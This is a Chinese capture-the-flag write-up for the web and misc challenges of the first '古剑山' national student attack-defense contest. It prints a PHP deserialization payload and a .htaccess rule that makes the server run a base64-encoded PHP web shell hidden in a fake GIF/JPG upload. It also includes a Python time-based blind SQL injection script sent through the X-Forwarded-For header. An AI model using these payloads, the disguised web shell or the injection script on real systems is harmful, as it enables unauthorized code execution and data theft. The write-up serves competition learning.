[wp]“古剑山”第一届全国大学生网络攻防大赛 Web部分wp

“古剑山”第一届全国大学生网络攻防大赛

群友说是原题杯 哈哈哈哈 我也不懂 我比赛打的少

Web

Web | unse

源码：

<?php
    include("./test.php");
    if(isset($_GET['fun'])){
        if(justafun($_GET['fun'])){
            include($_GET['fun']);
        }
    }else{
        unserialize($_GET['yourcode']);
    }
    highlight_file(__FILE__);
?>

先伪协议读取test.php 然后得到反序列化源码：

<?php
$test = "Hello world";

include "flag.php";

function justafun($filename){
    $result = preg_match("/flag|zlib|string/i", $filename);
    if($result){
        return FALSE;
    }
    return TRUE;
}

class afun {
    private $a;
    function __wakeup(){
        $temp = $this->a . 'ctf';
    }
}

class bfun {
    private $items = array();
    public function __toString() {
        $item = $this->items;
        $str = $item['dd']->knife;
        return 'what the good?';
    }
}

class cfun {
    private $params = array();
    public function __get($key) {
        global $flag;
        $tmp = $this->params[$key];
        var_dump($$tmp);
    }
}

a中的$this->a触发bgood中的__toString方法，将$this->a赋值为new bfun()。
bdun中的$items[‘dd’]触发cfun中的__get函数，给$items[‘dd’]赋值为new cfun()。
最后让cdun中的$params[‘knife’]=”flag”

<?php
$test = "Hello world";

include "flag.php";

function justafun($filename){
    $result = preg_match("/flag|zlib|string/i", $filename);
    if($result){
        return FALSE;
    }
    return TRUE;
}

class afun {
    private $a;
    function __wakeup(){
        $temp = $this->a . 'ctf';
    }
}

class bfun {
    private $items = array();
    public function __toString() {
        $item = $this->items;
        $str = $item['dd']->knife;
        return 'what the good?';
    }
}

class cfun {
    private $params = array();
    public function __get($key) {
        global $flag;
        $tmp = $this->params[$key];
        var_dump($$tmp);
    }
}

这里注意私有变量需要内部构造函数来进行触发其他魔术方法

这里这种框框换成%00 或者url编码也行

得到payload:

?yourcode=O:4:%22afun%22:1:{s:7:%22%00afun%00a%22;O:4:%22bfun%22:1:{s:11:%22%00bfun%00items%22;a:1:{s:2:%22dd%22;O:4:%22cfun%22:1:{s:12:%22%00cfun%00params%22;a:1:{s:5:%22knife%22;s:4:%22flag%22;}}}}}

得到flag

有点类似这道题

https://www.cnblogs.com/zzjdbk/p/13617530.html

Web | upload_2_shell

参考：SUCTF的一些题解 - SecPulse.COM | 安全脉搏

BUU WEB [SUCTF 2019]EasyWeb_buu easy_web-CSDN博客

但这道题使用的是.htaccess解析

.htaccess:

#define width 1337
#define height 1337
php_value auto_prepend_file "php://filter/convert.base64-decode/resource=./wenda.jpg"
AddType application/x-httpd-php .jpg

wenda.jpg:

GIF89a66
PD9waHAgZXZhbCgkX1BPU1RbJ2NtZCddKTs/Pg==

然后上传然后rce:

Web | 盲人摸象

没做出来 感觉是XFF盲注 INSERT INTO 注入 然后原题..

查看：https://delcoding.github.io/2018/03/bugku-writeup3/

Bugku-INSERT INTO 注入 - 简书 (jianshu.com)

给个脚本：

import requests
import sys

# 基于时间的盲注，过滤了逗号 ,
sql = "127.0.0.1'+(select case when substr((select flag from flag) from {0} for 1)='{1}' then sleep(5) else 0 end))-- +"
url = 'http://47.106.186.166:31590/'
flag = ''
for i in range(1, 40):
    print('正在猜测：', str(i))
    for ch in range(32, 129):
        if ch == 128:
            sys.exit(0)
        sqli = sql.format(i, chr(ch))
        # print(sqli)
        header = {
            'X-Forwarded-For': sqli
        }
        try:
            html = requests.get(url, headers=header, timeout=3)
        except:
            flag += chr(ch)
            print(flag)
            break

Web | easy_pickle

Web | 御姐还是萝莉

好看 爱看 但不会

Misc

Misc | i have the flag

原题 ascii-3解码

def shuchu():
    a = [115, 105, 109, 112, 108, 101, 101, 100, 117, 49, 50, 51]
    i = 0
    while (i < len(a)):
        print(chr(a[i]), end='')
        i = i + 1

shuchu()

得到 simpleedu123

输入网站得到flag